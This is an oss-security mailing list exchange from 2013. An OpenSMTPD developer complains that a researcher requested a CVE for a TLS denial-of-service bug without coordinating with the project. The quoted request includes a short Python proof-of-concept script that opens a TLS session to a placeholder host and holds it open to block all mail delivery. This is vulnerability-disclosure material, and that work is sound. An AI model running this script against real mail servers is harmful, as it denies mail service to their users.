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Date: Sat, 18 May 2013 18:16:43 +0200
From: Gilles Chehade <>
To: "Jason A. Donenfeld" <>
Cc: oss-security <>,
Subject: Re: CVE Request: DoS in OpenSMTPD TLS Support


Not too nice to send a CVE request without ANY coordination with us ...

Just for the record, you contacted us today reporting a bug which could
be memory corruption and you didn't know if it could be exploited. Then
I replied telling you that we discovered and fixed the bug two days ago
and I then explained to you what the bug really was (wrong logic in the
IO events handling code in our SSL layer). I then told you that we made
snapshots with the fix applied AND that we has planned for a release on
*Monday* with the fixes backported.

The snapshot mail, commit log and diffs makes the issue obvious, I just
don't understand why you had to go and publish *RIGHT AWAY* a script on
public lists after our mail exchange...

I'm not mad that you disclosed a bug, we're very open about it, and the
git history is full of references to crash and security fixes, but it's
just REALLY not nice how you handled this and are forcing me to do this
release in a hurry rather than handling it with package maintainers.

Next time, please coordinate a little, just to be nice.

On Sat, May 18, 2013 at 04:27:22PM +0200, Jason A. Donenfeld wrote:
> Hi Kurt,
> The SSL handling in the latest OpenSMTPD (5.3.1) misconfigures its
> sockets in blocking mode, allowing an attacker to prevent all mail
> delivery simply by holding a socket open.
> I discovered this accidentally, as I noticed my HP printer's smtp
> client would keep the connection indefinitely open after an
> unsuccessful authentication attempt, causing no more mail to be
> delivered until I SIGKILL'd my smtpd process or unplugged my printer.
> The following reproduces the attack trivially:
>     #!/usr/bin/env python2
>     import smtplib
>     import time
>     print "[+] Connecting to server and initiating TLS"
>     smtp = smtplib.SMTP("mail.some-vitim-host.blah", 587)
>     smtp.starttls()
>     print "[+] No clients will be able to connect as long as this remains open."
>     time.sleep(100000000)
> Apparently this was fixed recently upstream, noting "evil client" in
> the commit message:
> A snapshot has been posted to , but
> no patch release has yet been made.
> Jason

Gilles Chehade                                          @poolpOrg

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